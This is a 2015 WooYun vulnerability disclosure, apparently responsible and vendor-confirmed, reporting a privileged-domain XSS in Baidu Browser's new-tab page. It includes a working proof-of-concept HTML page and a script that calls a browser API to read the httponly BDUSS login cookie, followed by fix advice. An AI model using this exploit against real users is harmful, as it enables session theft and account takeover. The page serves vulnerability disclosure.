当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145911

漏洞标题:百度浏览器缺陷可导致BDUSS泄漏

相关厂商:百度

漏洞作者: 隐形人真忙

提交时间:2015-10-11 09:10

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-11: 细节已通知厂商并且等待厂商处理中
2015-10-11: 厂商已经确认,细节仅向厂商公开
2015-10-14: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-05: 细节向核心白帽子及相关领域专家公开
2015-12-15: 细节向普通白帽子公开
2015-12-25: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

发现了一处特权域的XSS,发现可以结合API获取到百度认证cookie BDUSS。

详细说明:

-----------------------
0x00 特权域XSS
-----------------------
在bdbrowser://newtab域中,有个常用网址功能,但是没有对title进行有效处理,导致XSS。设置常用网址,只需要给用户一个网址,发现只要在页面中设置js多reload几次就能自动存留在这个popup window中。
Poc.html:

<!DOCTYPE html>
<html>
<head>
<title>
<script src="http://127.0.0.1/browser/test.js"></script>
</title>
</head>
<body>
test for baidu browser
<script type="text/javascript">
for(var i = 0; i < 10; i++){
location.reload() ;
}
</script>
</body>
</html>


上面的title设置成一个script,用来加载外部js执行。

1.png


刷新页面,就可以看到这个title没有过滤就输出到页面上。
---------------------------
0x01 认证cookie泄露
----------------------------
特权域存在的XSS不同于其他互联网域的XSS,配合浏览器的特权API,可以做很多事情。
这个案例里,排查了很多API,暂时没有找到新的能够命令执行的方法。但是可以获取认证cookie,比如在一般的网站中,很难获取到百度账号的cookie BDUSS,这个cookie一般是设置为httponly的,但是在特权域轻而易举。
bdbrowser://newtab中存在Request对象,可以执行一些操作,比如篡改主页、读取历史记录、收藏夹等。
这里展示的是获取浏览器账户的BDUSS,
test.js:

//获取用户名+BDUSS
o = require("common/external")
o.send("account_get_userinfo",[], function(e,t){
var username = t.body.display_name ;
var bduss = t.body.bduss ;
alert(username + " : " + bduss) ;
});


效果如下:

2.png

漏洞证明:

2.png

修复方案:

1、修复特权域XSS
2、在bdbrowser中控制好执行特权API的域。

版权声明:转载请注明来源 隐形人真忙@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-10-11 11:05

厂商回复:

感谢提交

最新状态:

暂无


漏洞评价:

评价

  1. 2016-01-12 11:46 | 这只猪 ( 路人 | Rank:8 漏洞数:5 | )(2009年荣获CCAV首届挖洞大使称号)(★★★...)

    卧槽,今天公开漏洞真多,都看不过来了